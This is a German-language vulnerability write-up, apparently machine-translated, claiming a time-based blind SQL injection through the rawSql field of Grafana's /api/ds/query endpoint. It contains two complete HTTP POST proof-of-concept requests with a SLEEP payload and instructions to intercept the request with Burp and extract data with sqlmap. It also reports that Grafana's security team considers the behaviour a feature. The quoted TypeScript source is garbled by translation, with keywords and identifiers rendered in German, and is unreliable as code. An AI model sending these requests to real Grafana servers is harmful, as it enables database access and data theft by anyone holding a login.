Schwachstelle Beschreibung
Open-Source-Plattform für Monitoring und Observabilität Um diese SQL-Injection-Schwachstelle auszunutzen, muss man sich mit einem gültigen Konto beim grafana-Web-Backend anmelden und eine bösartige POST-Anfrage an den Eintrag /api/ds/query "rawSql" senden.
Wenn sich ein Angreifer in das Grafana-Web-Backend einloggt, kann er eine Post-Anfrage an die /api/ds/query api verwenden, wo er dann die "rawSql"-Datei ändern kann, um einen bösartigen SQL-String auszuführen, was zu einer blinden, zeitbasierten SQL-Injection-Schwachstelle führt, durch die dann Daten aus der Datenbank entweichen. Daten aus der Datenbank.
Risikoniveau
hoch
Betroffene Versionen
grafana neueste und alle alten Versionen
Schwachstellenanalyse
Betroffene Codeblöcke und Funktionen
- grafana grafana-sql Paket in grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts Datei
// HINWEIS: Dies läuft immer mit dem Zeitbereich `@grafana/data/getDefaultTimeRange`.
async runSql(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView(frame);
}
private runMetaQuery(request: Partial, range: TimeRange): Promise {
const refId = request.refId || 'meta';
const queries: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }];
return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
Methode: 'POST',
headers: this.getRequestHeaders(),
Daten: {
from: range.from.valueOf().toString(),
bis: range.to.valueOf().toString(),
Rückfragen,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] };
})
)
);
}
- grafana datasource plugin in grafana/public/app/plugins/datasource/influxdb/datasource.ts Datei
async metricFindQuery(query: string, options?: any): Promise {
wenn (
this.version === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: 'metricFindQuery',
Abfrage,
rawQuery: true,
...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}), ...(this.version === InfluxVersion.SQL ?
};
return lastValueFrom(
super.query({
...(Optionen ?? {}), // umfasst 'Bereich'
Ziele: [Ziel],
})
).then(this.toMetricFindValue);
}
const interpolated = this.templateSrv.replace(
Abfrage,
Optionen?
(Wert: string | string[] = [], Variable: QueryVariableModel) => this.interpolateQueryExpr(Wert, Variable, Abfrage)
);
return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {
return this.responseParser.parse(query, resp);
});
}
……
return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
Methode: 'POST',
headers: this.getRequestHeaders(),
Daten: {
von: options.range.from.valueOf().toString(),
bis: options.range.to.valueOf().toString(),
Abfragen: [Ziel],
},
requestId: annotation.name,
})
.pipe(
map(
async (res: FetchResponse) =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);
Grafana validiert keine Abfragen, die an den DataSource-Agenten gesendet werden
Wiederholung der Anfälligkeit:
Ein Angreifer kann die oben genannten Schritte verwenden, um Sql-Injection durchzuführen, d. h. Grafana sendet Sql-Anweisungsabfragen, die zu Fehlern führen.
grafana v8.0.4 poc:
POST /api/ds/abfrage HTTP/1.1
Rechner: 172.16.32.57:3000
Benutzer-Agent: qzd_security_test_user_agent
Akzeptieren: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
Inhaltstyp: application/json
x-grafana-org-id: 1
Inhalt-Länge: 142
Origin: http://172.16.32.57:3000
DNT: 1
Verbindung: schließen
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc
{"queries":[{"refId": "A", "format". "time_series", "datasourceId":2, "rawSql":"( SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "maxDataPoints":10000}]}
Loggen Sie sich in das Backend ein und klicken Sie auf "Explore", dann verwenden Sie burp, um das POST /api/ds/query-Paket zu erfassen, ändern Sie den "rawSql"-Eintrag in einen bösartigen sql-String, und dann erhalten wir die zeitbasierte und wir erhalten eine zeitbasierte SQL-Injection.
POST /api/ds/abfrage HTTP/1.1
Rechner: 172.28.171.25:3000
Benutzer-Agent: qzd_security_test_user_agent
Akzeptieren: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.28.171.25:3000/explore
Inhaltstyp: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
Inhalt-Länge: 201
Origin: http://172.28.171.25:3000
DNT: 1
Verbindung: schließen
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866
{"from": "1713492692433″, "to": "1713514292433″," queries":[{"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "format": "table", "refId": "datasets ", "datasource":{"type": "mysql"," uid": "edj6pz14v89a8c"}}]}
Sie können jetzt Daten mit sqlmap ziehen
Behebung von Schwachstellen
Grafana validiert keine Abfragen, die an den DataSource-Agenten gesendet werden; die Filterung muss auf der Seite der Datenquelle erfolgen.
Das offizielle Grafana-Sicherheitsteam hält es nicht für eine Schwachstelle, sondern für ein Feature des Backends, und das muss mich sehr beunruhigen ......
Aber das glaube ich nicht, deshalb habe ich diesen Artikel veröffentlicht :)
Referenzquelle
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions
Originalartikel von xbear, bei Vervielfältigung bitte angeben: https://cncso.com/de/grafana-sql-injektion-hohes-risiko-vuln-html